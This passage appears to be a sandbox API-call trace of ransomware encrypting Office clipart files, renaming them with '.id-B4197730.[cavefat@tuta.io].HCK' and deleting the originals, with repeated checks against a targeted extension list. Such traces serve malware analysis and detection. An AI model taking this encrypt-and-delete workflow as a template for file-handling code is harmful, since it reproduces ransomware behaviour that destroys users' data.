lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1e60, lpOverlapped=0x0) returned 1 [0180.550] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.550] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.550] SetEndOfFile (hFile=0x370) returned 1 [0180.551] CloseHandle (hObject=0x370) returned 1 [0180.552] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.552] SetEndOfFile (hFile=0x2fc) returned 1 [0180.553] CloseHandle (hObject=0x2fc) returned 1 [0180.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00486_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.555] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00486_.wmf")) returned 1 [0180.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00486_.WMF") returned 68 [0180.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00486_.WMF") returned 68 [0180.556] lstrlenW (lpString=".doc") returned 4 [0180.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.557] lstrlenW (lpString=".docx") returned 5 [0180.557] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.557] lstrlenW (lpString=".pdf") returned 4 [0180.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.557] lstrlenW (lpString=".xls") returned 4 [0180.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.557] lstrlenW (lpString=".xlsx") returned 5 [0180.557] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.557] lstrlenW (lpString=".ppt") returned 4 [0180.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00486_.WMF") returned 68 [0180.557] lstrlenW (lpString=".zip") returned 4 [0180.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.557] lstrlenW (lpString=".rar") returned 4 [0180.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.557] lstrlenW (lpString=".bz2") returned 4 [0180.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.557] lstrlenW (lpString=".7z") returned 3 [0180.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00486_.WMF") returned 68 [0180.557] lstrlenW (lpString=".dbf") returned 4 [0180.557] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00486_.WMF") returned 68 [0180.557] lstrlenW (lpString=".1cd") returned 4 [0180.557] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00486_.WMF") returned 68 [0180.557] lstrlenW (lpString=".jpg") returned 4 [0180.557] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00486_.WMF") returned 68 [0180.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00486_.WMF") returned 68 [0180.557] lstrlenW (lpString=".doc") returned 4 [0180.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.557] lstrlenW (lpString=".docx") returned 5 [0180.557] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.557] lstrlenW (lpString=".pdf") returned 4 [0180.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.557] lstrlenW (lpString=".xls") returned 4 [0180.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.557] lstrlenW (lpString=".xlsx") returned 5 [0180.557] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.557] lstrlenW (lpString=".ppt") returned 4 [0180.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00486_.WMF") returned 68 [0180.557] lstrlenW (lpString=".zip") returned 4 [0180.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.557] lstrlenW (lpString=".rar") returned 4 [0180.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.557] lstrlenW (lpString=".bz2") returned 4 [0180.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.557] lstrlenW (lpString=".7z") returned 3 [0180.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00486_.WMF") returned 68 [0180.558] lstrlenW (lpString=".dbf") returned 4 [0180.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00486_.WMF") returned 68 [0180.558] lstrlenW (lpString=".1cd") returned 4 [0180.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00486_.WMF") returned 68 [0180.558] lstrlenW (lpString=".jpg") returned 4 [0180.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.558] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.558] lstrlenW (lpString="SO00610_.WMF") returned 12 [0180.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00610_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.563] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=40064) returned 1 [0180.563] CloseHandle (hObject=0x2fc) returned 1 [0180.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00610_.wmf")) returned 0x220 [0180.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00610_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00610_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00610_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.566] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.566] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00610_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00610_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.570] GetLastError () returned 0x0 [0180.570] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x9c80, lpOverlapped=0x0) returned 1 [0180.572] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x9c90, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x9c90, lpOverlapped=0x0) returned 1 [0180.573] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.573] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.573] SetEndOfFile (hFile=0x2fc) returned 1 [0180.575] CloseHandle (hObject=0x2fc) returned 1 [0180.576] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.576] SetEndOfFile (hFile=0x370) returned 1 [0180.581] CloseHandle (hObject=0x370) returned 1 [0180.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00610_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00610_.wmf")) returned 1 [0180.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00610_.WMF") returned 68 [0180.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00610_.WMF") returned 68 [0180.583] lstrlenW (lpString=".doc") returned 4 [0180.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.584] lstrlenW (lpString=".docx") returned 5 [0180.584] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.584] lstrlenW (lpString=".pdf") returned 4 [0180.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.584] lstrlenW (lpString=".xls") returned 4 [0180.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.584] lstrlenW (lpString=".xlsx") returned 5 [0180.584] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.584] lstrlenW (lpString=".ppt") returned 4 [0180.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00610_.WMF") returned 68 [0180.584] lstrlenW (lpString=".zip") returned 4 [0180.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.584] lstrlenW (lpString=".rar") returned 4 [0180.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.584] lstrlenW (lpString=".bz2") returned 4 [0180.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.584] lstrlenW (lpString=".7z") returned 3 [0180.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00610_.WMF") returned 68 [0180.584] lstrlenW (lpString=".dbf") returned 4 [0180.584] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00610_.WMF") returned 68 [0180.584] lstrlenW (lpString=".1cd") returned 4 [0180.584] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00610_.WMF") returned 68 [0180.584] lstrlenW (lpString=".jpg") returned 4 [0180.584] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00610_.WMF") returned 68 [0180.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00610_.WMF") returned 68 [0180.584] lstrlenW (lpString=".doc") returned 4 [0180.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.584] lstrlenW (lpString=".docx") returned 5 [0180.584] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.584] lstrlenW (lpString=".pdf") returned 4 [0180.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.584] lstrlenW (lpString=".xls") returned 4 [0180.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.584] lstrlenW (lpString=".xlsx") returned 5 [0180.584] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.584] lstrlenW (lpString=".ppt") returned 4 [0180.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00610_.WMF") returned 68 [0180.584] lstrlenW (lpString=".zip") returned 4 [0180.585] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.585] lstrlenW (lpString=".rar") returned 4 [0180.585] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.585] lstrlenW (lpString=".bz2") returned 4 [0180.585] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.585] lstrlenW (lpString=".7z") returned 3 [0180.585] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00610_.WMF") returned 68 [0180.585] lstrlenW (lpString=".dbf") returned 4 [0180.585] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00610_.WMF") returned 68 [0180.585] lstrlenW (lpString=".1cd") returned 4 [0180.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00610_.WMF") returned 68 [0180.585] lstrlenW (lpString=".jpg") returned 4 [0180.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.585] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.585] lstrlenW (lpString="SO00638_.WMF") returned 12 [0180.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00638_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.588] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=6842) returned 1 [0180.588] CloseHandle (hObject=0x39c) returned 1 [0180.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00638_.wmf")) returned 0x220 [0180.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00638_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00638_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.595] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.595] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00638_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00638_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.598] GetLastError () returned 0x0 [0180.598] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1aba, lpOverlapped=0x0) returned 1 [0180.602] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1ac0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1ac0, lpOverlapped=0x0) returned 1 [0180.603] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.603] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.603] SetEndOfFile (hFile=0x370) returned 1 [0180.605] CloseHandle (hObject=0x370) returned 1 [0180.605] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.605] SetEndOfFile (hFile=0x3a4) returned 1 [0180.609] CloseHandle (hObject=0x3a4) returned 1 [0180.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00638_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.610] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00638_.wmf")) returned 1 [0180.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00638_.WMF") returned 68 [0180.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00638_.WMF") returned 68 [0180.614] lstrlenW (lpString=".doc") returned 4 [0180.614] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.614] lstrlenW (lpString=".docx") returned 5 [0180.614] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.614] lstrlenW (lpString=".pdf") returned 4 [0180.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.614] lstrlenW (lpString=".xls") returned 4 [0180.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.614] lstrlenW (lpString=".xlsx") returned 5 [0180.614] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.614] lstrlenW (lpString=".ppt") returned 4 [0180.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00638_.WMF") returned 68 [0180.614] lstrlenW (lpString=".zip") returned 4 [0180.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.614] lstrlenW (lpString=".rar") returned 4 [0180.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.614] lstrlenW (lpString=".bz2") returned 4 [0180.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.614] lstrlenW (lpString=".7z") returned 3 [0180.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00638_.WMF") returned 68 [0180.614] lstrlenW (lpString=".dbf") returned 4 [0180.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00638_.WMF") returned 68 [0180.614] lstrlenW (lpString=".1cd") returned 4 [0180.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00638_.WMF") returned 68 [0180.614] lstrlenW (lpString=".jpg") returned 4 [0180.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00638_.WMF") returned 68 [0180.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00638_.WMF") returned 68 [0180.614] lstrlenW (lpString=".doc") returned 4 [0180.614] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.614] lstrlenW (lpString=".docx") returned 5 [0180.614] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.614] lstrlenW (lpString=".pdf") returned 4 [0180.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.614] lstrlenW (lpString=".xls") returned 4 [0180.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.615] lstrlenW (lpString=".xlsx") returned 5 [0180.615] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.615] lstrlenW (lpString=".ppt") returned 4 [0180.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00638_.WMF") returned 68 [0180.615] lstrlenW (lpString=".zip") returned 4 [0180.615] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.615] lstrlenW (lpString=".rar") returned 4 [0180.615] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.615] lstrlenW (lpString=".bz2") returned 4 [0180.615] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.615] lstrlenW (lpString=".7z") returned 3 [0180.615] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00638_.WMF") returned 68 [0180.615] lstrlenW (lpString=".dbf") returned 4 [0180.615] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00638_.WMF") returned 68 [0180.615] lstrlenW (lpString=".1cd") returned 4 [0180.615] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00638_.WMF") returned 68 [0180.615] lstrlenW (lpString=".jpg") returned 4 [0180.615] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.615] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.615] lstrlenW (lpString="SO00671_.WMF") returned 12 [0180.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00671_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.617] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=1488) returned 1 [0180.617] CloseHandle (hObject=0x368) returned 1 [0180.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00671_.wmf")) returned 0x220 [0180.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00671_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00671_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00671_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.623] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.623] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00671_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00671_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.625] GetLastError () returned 0x0 [0180.625] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x5d0, lpOverlapped=0x0) returned 1 [0180.628] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x5e0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x5e0, lpOverlapped=0x0) returned 1 [0180.628] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.628] WriteFile (in: hFile=0x3a4, 